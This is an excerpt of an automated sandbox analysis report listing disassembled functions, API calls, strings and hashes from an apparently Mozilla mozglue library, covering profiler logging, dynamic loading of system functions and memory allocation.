Opcode ID: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction ID: 3142b6849d6ec6b95381f9596ef0e0d97da1d837e232cb8c17506ce709f15651
Opcode Fuzzy Hash: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction Fuzzy Hash: F311C6743152419BDF10CF57C988A493774E79B325F004629ED0583B41D772B401CA5F

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_resume, xrefs: 6C69F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C660E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C660DF8), ref: 6C660E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C660EA1
__Init_thread_footer.LIBCMT ref: 6C660EB5
FreeLibrary.KERNEL32 ref: 6C660EC5

Strings

kernel32.dll, xrefs: 6C660E7D
GetProcessMitigationPolicy, xrefs: 6C660E9B

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction ID: 04721a74647996172587f100570ada726f5cd43541baddcb8b94d007b7167caf
Opcode Fuzzy Hash: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction Fuzzy Hash: 720146747003928BDF008FABEA94BE233B5E746759F104525EA0182F84DB74B406CA1F

Function 6C69F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction ID: 0ca6b029334713368cae37ce8458285ea3134e2d024130434b58c9ec30fc0ab5
Opcode Fuzzy Hash: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction Fuzzy Hash: FFF05475200205AFDF006F668C8895A777DEFCA29DF150415FA0583746DB756806876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

<jemalloc>, xrefs: 6C6905FA, 6C69060F
: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

kernel32.dll, xrefs: 6C6B7557
UnmapViewOfFile2, xrefs: 6C6B7552

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

ntdll.dll, xrefs: 6C6BC413
NtQueryVirtualMemory, xrefs: 6C6BC431

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 6C6B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B748B,?), ref: 6C6B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6B75D7
FreeLibrary.KERNEL32(?,6C6B748B,?), ref: 6C6B75EC

Strings

RtlNtStatusToDosError, xrefs: 6C6B75D1
ntdll.dll, xrefs: 6C6B75B3

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction ID: 599b689ad59f66e73d5d34581d44cd022478ec4cd9cadc224c2f026cf24e048d
Opcode Fuzzy Hash: 0ed2408e784dd703723be8bc13cc7e9168facbfe92853743f00b8c28fd63a019
Instruction Fuzzy Hash: 8FE0B671600302ABEF006FE3E9C87817AF8EB46359F108425AA15D6650EFB0B452CF5E

Function 6C6B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6B7592), ref: 6C6B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6B7627
FreeLibrary.KERNEL32(?,6C6B7592), ref: 6C6B763C

Strings

NtUnmapViewOfSection, xrefs: 6C6B7621
ntdll.dll, xrefs: 6C6B7603

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction ID: 4077c0c34e0e82244b259c34acabfe4733f0336438e9aebffaac6e4d6d13d704
Opcode Fuzzy Hash: aff42ef36585dfbf2b3ffed05fcd9c9d21b389548d503c9e2ccb9ff195cd6380
Instruction Fuzzy Hash: 67E0B6B0600342ABDF106FA7E8887817AB8EB5A399F014515EA05D2750EBB1B4119F5E

Function 6C6BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6BBE49), ref: 6C6BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6BBE49), ref: 6C6BBF38
RtlReAllocateHeap.NTDLL ref: 6C6BBF83
RtlFreeHeap.NTDLL(6C6BBE49,00000000), ref: 6C6BBFA6

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction ID: 41be5e43559ec2933148f037eb97a796bf2ada86dae306781c2001eb55ed4b4d
Opcode Fuzzy Hash: aa7aa61b06619e0ee9a99d85cb4b4e8ec3ed49fbb90f089a08a381adfc3eb9a2
Instruction Fuzzy Hash: 62517D71B002058FE714CF69CDC0BAAB7A6FFC9314F294629D516A7B94D730F9168B84

Function 6C6A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8EBF
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?,6C6CD734), ref: 6C6A8F46
free.MOZGLUE(?,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C69B58D,?,?,?,?,?,?,?,6C6CD734,?,?,?), ref: 6C6A8F8F

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction ID: 5c8095c7e4d8c3f82490520348ed4036927259d6491a6e53044fc4a20779ecf9
Opcode Fuzzy Hash: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction Fuzzy Hash: 8251C2B1A012568FEB10CFA4D88066EB7B2FF4D348F15046AD916AB750E731FD06CB99

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

